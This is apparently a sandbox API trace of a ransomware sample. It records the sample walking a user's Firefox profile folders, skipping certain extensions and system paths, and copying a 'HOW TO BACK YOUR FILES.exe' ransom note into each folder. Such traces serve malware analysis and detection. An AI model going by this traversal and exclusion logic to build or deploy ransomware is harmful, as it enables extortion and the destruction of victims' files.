	[0040.798] lstrcmpiW (lpString1="X96zE.mkv", lpString2=".lnk") returned 1
	[0040.798] lstrlenW (lpString=".ini") returned 4
	[0040.798] lstrcmpiW (lpString1="X96zE.mkv", lpString2=".ini") returned 1
	[0040.798] lstrlenW (lpString=".sys") returned 4
	[0040.798] lstrcmpiW (lpString1="X96zE.mkv", lpString2=".sys") returned 1
	[0040.798] lstrlenW (lpString="X96zE.mkv") returned 9
	[0040.798] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="yDBsdVtBucCVPrDv5nWZ.pdf" | out: lpString1="yDBsdVtBucCVPrDv5nWZ.pdf") returned="yDBsdVtBucCVPrDv5nWZ.pdf"
	[0040.798] lstrlenW (lpString="yDBsdVtBucCVPrDv5nWZ.pdf") returned 24
	[0040.798] lstrlenW (lpString="Apollon865") returned 10
	[0040.798] lstrcmpiW (lpString1="Dv5nWZ.pdf", lpString2="Apollon865") returned 1
	[0040.798] lstrlenW (lpString=".dll") returned 4
	[0040.798] lstrcmpiW (lpString1="yDBsdVtBucCVPrDv5nWZ.pdf", lpString2=".dll") returned 1
	[0040.798] lstrlenW (lpString=".lnk") returned 4
	[0040.798] lstrcmpiW (lpString1="yDBsdVtBucCVPrDv5nWZ.pdf", lpString2=".lnk") returned 1
	[0040.798] lstrlenW (lpString=".ini") returned 4
	[0040.798] lstrcmpiW (lpString1="yDBsdVtBucCVPrDv5nWZ.pdf", lpString2=".ini") returned 1
	[0040.798] lstrlenW (lpString=".sys") returned 4
	[0040.798] lstrcmpiW (lpString1="yDBsdVtBucCVPrDv5nWZ.pdf", lpString2=".sys") returned 1
	[0040.798] lstrlenW (lpString="yDBsdVtBucCVPrDv5nWZ.pdf") returned 24
	[0040.798] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="z0KIYNI2yEOa.flv" | out: lpString1="z0KIYNI2yEOa.flv") returned="z0KIYNI2yEOa.flv"
	[0040.798] lstrlenW (lpString="z0KIYNI2yEOa.flv") returned 16
	[0040.798] lstrlenW (lpString="Apollon865") returned 10
	[0040.798] lstrcmpiW (lpString1="I2yEOa.flv", lpString2="Apollon865") returned 1
	[0040.798] lstrlenW (lpString=".dll") returned 4
	[0040.798] lstrcmpiW (lpString1="z0KIYNI2yEOa.flv", lpString2=".dll") returned 1
	[0040.798] lstrlenW (lpString=".lnk") returned 4
	[0040.798] lstrcmpiW (lpString1="z0KIYNI2yEOa.flv", lpString2=".lnk") returned 1
	[0040.798] lstrlenW (lpString=".ini") returned 4
	[0040.798] lstrcmpiW (lpString1="z0KIYNI2yEOa.flv", lpString2=".ini") returned 1
	[0040.798] lstrlenW (lpString=".sys") returned 4
	[0040.798] lstrcmpiW (lpString1="z0KIYNI2yEOa.flv", lpString2=".sys") returned 1
	[0040.798] lstrlenW (lpString="z0KIYNI2yEOa.flv") returned 16
	[0040.799] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla"
	[0040.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0040.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0040.799] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla") returned 53
	[0040.799] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla"
	[0040.799] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.799] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.804] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.804] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x306e2510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306e2510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.804] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.804] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.804] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.804] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x306e2510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306e2510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.804] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.804] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.804] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.804] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.804] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="Apollon865.txt.exe") returned 1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2=".") returned 1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="..") returned 1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="windows") returned -1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="bootmgr") returned 1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="temp") returned -1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="pagefile.sys") returned -1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="boot") returned 1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="ids.txt") returned -1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="ntuser.dat") returned -1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="perflogs") returned -1
	[0040.804] lstrcmpiW (lpString1="Extensions", lpString2="MSBuild") returned -1
	[0040.804] lstrlenW (lpString="Extensions") returned 10
	[0040.805] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*") returned 55
	[0040.805] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Extensions" | out: lpString1="Extensions") returned="Extensions"
	[0040.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0040.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0040.805] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0040.805] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="Apollon865.txt.exe") returned 1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2=".") returned 1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="..") returned 1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="windows") returned -1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="bootmgr") returned 1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="temp") returned -1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="pagefile.sys") returned -1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="boot") returned 1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="ids.txt") returned -1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="ntuser.dat") returned -1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="perflogs") returned -1
	[0040.805] lstrcmpiW (lpString1="Firefox", lpString2="MSBuild") returned -1
	[0040.805] lstrlenW (lpString="Firefox") returned 7
	[0040.805] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions") returned 64
	[0040.805] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Firefox" | out: lpString1="Firefox") returned="Firefox"
	[0040.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0040.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf898
	[0040.805] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0040.805] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x306e2510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x306e2510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.805] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.805] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x306e2510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x306e2510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0040.805] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.805] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0040.805] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox"
	[0040.805] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0040.805] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0040.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox") returned 61
	[0040.806] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox"
	[0040.806] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.806] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.812] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.812] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x306e2510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306e2510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.813] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.813] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.813] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.813] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x306e2510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306e2510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.813] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.813] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.813] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.813] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.813] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crash Reports", cAlternateFileName="CRASHR~1")) returned 1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="Apollon865.txt.exe") returned 1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2=".") returned 1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="..") returned 1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="windows") returned -1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="bootmgr") returned 1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="temp") returned -1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="pagefile.sys") returned -1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="boot") returned 1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="ids.txt") returned -1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="ntuser.dat") returned -1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="perflogs") returned -1
	[0040.813] lstrcmpiW (lpString1="Crash Reports", lpString2="MSBuild") returned -1
	[0040.813] lstrlenW (lpString="Crash Reports") returned 13
	[0040.813] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*") returned 63
	[0040.813] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="Crash Reports" | out: lpString1="Crash Reports") returned="Crash Reports"
	[0040.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0040.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x599450
	[0040.813] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0040.813] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x306e2510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x306e2510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.813] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.814] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0040.814] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="Profiles" | out: lpString1="Profiles") returned="Profiles"
	[0040.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0040.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8e) returned 0x5994f0
	[0040.814] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0040.814] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="profiles.ini", cAlternateFileName="")) returned 1
	[0040.814] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="profiles.ini" | out: lpString1="profiles.ini") returned="profiles.ini"
	[0040.814] lstrlenW (lpString="profiles.ini") returned 12
	[0040.814] lstrlenW (lpString="Apollon865") returned 10
	[0040.814] lstrcmpiW (lpString1="ofiles.ini", lpString2="Apollon865") returned 1
	[0040.814] lstrlenW (lpString=".dll") returned 4
	[0040.814] lstrcmpiW (lpString1="profiles.ini", lpString2=".dll") returned 1
	[0040.814] lstrlenW (lpString=".lnk") returned 4
	[0040.814] lstrcmpiW (lpString1="profiles.ini", lpString2=".lnk") returned 1
	[0040.814] lstrlenW (lpString=".ini") returned 4
	[0040.814] lstrcmpiW (lpString1="profiles.ini", lpString2=".ini") returned 1
	[0040.814] lstrlenW (lpString=".sys") returned 4
	[0040.814] lstrcmpiW (lpString1="profiles.ini", lpString2=".sys") returned 1
	[0040.814] lstrlenW (lpString="profiles.ini") returned 12
	[0040.814] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0040.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0040.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0040.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 70
	[0040.814] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0040.814] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.814] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.819] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x30708670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30708670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.819] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="silmbjec.default" | out: lpString1="silmbjec.default") returned="silmbjec.default"
	[0040.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0040.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x5994f0
	[0040.819] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0040.819] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0
	[0040.819] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.819] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0040.819] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default"
	[0040.819] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0040.819] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0040.819] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned 87
	[0040.819] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default"
	[0040.819] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.819] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.830] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
